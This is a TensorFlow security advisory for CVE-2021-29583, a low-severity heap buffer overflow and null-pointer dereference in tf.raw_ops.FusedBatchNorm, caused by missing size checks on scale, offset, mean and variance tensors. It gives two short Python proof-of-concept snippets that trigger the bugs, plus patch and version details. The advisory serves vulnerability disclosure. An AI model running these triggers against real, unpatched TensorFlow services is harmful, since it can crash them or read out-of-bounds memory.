Heap buffer overflow and undefined behavior in `FusedBatchNorm`

Low **mihaimaruseac** published **GHSA-9xh4-23q4-v6wr** on May 12, 2021

Package	
tensorflow, tensorflow-cpu, tensorflow-gpu (pip)	
Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

The implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer overflow:

```python
import tensorflow as tf

x = tf.zeros([10, 10, 10, 6], dtype=tf.float32)
scale = tf.constant([0.0], shape=[1], dtype=tf.float32)
offset = tf.constant([0.0], shape=[1], dtype=tf.float32)
mean = tf.constant([0.0], shape=[1], dtype=tf.float32)
variance = tf.constant([0.0], shape=[1], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False

tf.raw_ops.FusedBatchNorm(
  x=x, scale=scale, offset=offset, mean=mean, variance=variance,
  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
  data_format=data_format, is_training=is_training)
```

If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers:

```python
import tensorflow as tf
import numpy as np

x = tf.zeros([10, 10, 10, 1], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False

tf.raw_ops.FusedBatchNorm(
  x=x, scale=scale, offset=offset, mean=mean, variance=variance,
  epsilon=epsilon, exponential_avg_factor=exponential_avg_factor,
  data_format=data_format, is_training=is_training)
```

The implementation fails to validate that `scale`, `offset`, `mean` and `variance` (the last two only when required) all have the same number of elements as the number of channels of `x`. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary.

If the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior.

Patches

We have patched the issue in GitHub commit 6972f9dfe325636b3db4e0bc517ee22a159365c0.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29583

Weaknesses

No CWEs